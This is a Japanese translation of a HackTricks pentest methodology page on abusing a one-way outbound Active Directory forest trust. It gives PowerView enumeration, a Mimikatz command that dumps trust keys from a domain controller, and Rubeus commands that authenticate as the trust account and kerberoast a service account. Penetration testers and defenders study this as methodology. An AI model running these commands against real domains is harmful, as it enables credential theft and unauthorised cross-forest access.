hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

8.1 KiB
Raw Blame History

外部フォレストドメイン - 片方向(アウトバウンド)

AWSハッキングをゼロからヒーローまで学ぶには htARTEHackTricks AWS Red Team Expertをチェック!

HackTricksをサポートする他の方法:

このシナリオでは、あなたのドメイン異なるドメインのプリンシパルに対していくつかの権限信頼しています。

列挙

アウトバウンドトラスト

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

トラストアカウント攻撃

Active Directory ドメインまたはフォレストトラストがドメイン B からドメイン A へ設定されるとき(B が A を信頼)、ドメイン AB. Kerberos trust keys という名前のトラストアカウントが作成されます。これらは、ドメイン A のユーザーがドメイン B のサービスに対するサービスチケットを要求する際に、相互レルム TGT の暗号化に使用される、トラストアカウントのパスワードから派生したものです。

ドメインコントローラを使用して、信頼されたアカウントのパスワードとハッシュを取得することが可能です:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

リスクは、信頼アカウントB$が有効になっているため、B$のプライマリグループがドメインAのドメインユーザーであることにあります。ドメインユーザーに付与された権限はB$にも適用され、B$の資格情報を使用してドメインAに対して認証することが可能です。

{% hint style="warning" %} したがって、信頼しているドメインから信頼されているドメイン内のユーザーを取得することが可能です。このユーザーは多くの権限を持っていないかもしれません(おそらくドメインユーザーのみ)が、外部ドメインを列挙することができます。 {% endhint %}

この例では、信頼しているドメインはext.localで、信頼されているドメインはroot.localです。したがって、root.local内にEXT$というユーザーが作成されます。

# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes

したがって、この時点で root.local\EXT$ の現在のクリアテキストパスワードとKerberos秘密鍵を持っています。root.local\EXT$ のKerberos AES秘密鍵は異なるソルトが使用されるためAESトラストキーとは同一ではありませんが、RC4キーは同じです。したがって、ext.localからダンプされたRC4トラストキーを使用してroot.local\EXT$ として root.local に対して認証することができます。

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

この方法を使えば、そのドメインの列挙を開始し、さらにユーザーに対してkerberoastingを行うことができます。

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

クリアテキスト信頼パスワードの収集

前のフローでは、クリアテキストパスワードmimikatzによってダンプされた)の代わりに信頼ハッシュを使用しました。

クリアテキストパスワードは、mimikatzの[ CLEAR ]出力を16進数から変換し、ヌルバイト '\x00' を削除することで取得できます:

信頼関係を作成する際には、ユーザーが信頼のためのパスワードを入力する必要があります。このデモンストレーションでは、キーは元の信頼パスワードであり、したがって人間が読める形式です。キーがサイクルする30日ごとと、クリアテキストは人間が読める形式ではなくなりますが、技術的にはまだ使用可能です。

クリアテキストパスワードは、信頼アカウントのKerberos秘密鍵を使用してTGTを要求する代わりに、信頼アカウントとして通常の認証を実行するために使用できます。ここでは、ext.localからroot.localに対してDomain Adminsのメンバーを照会しています

参考文献

htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法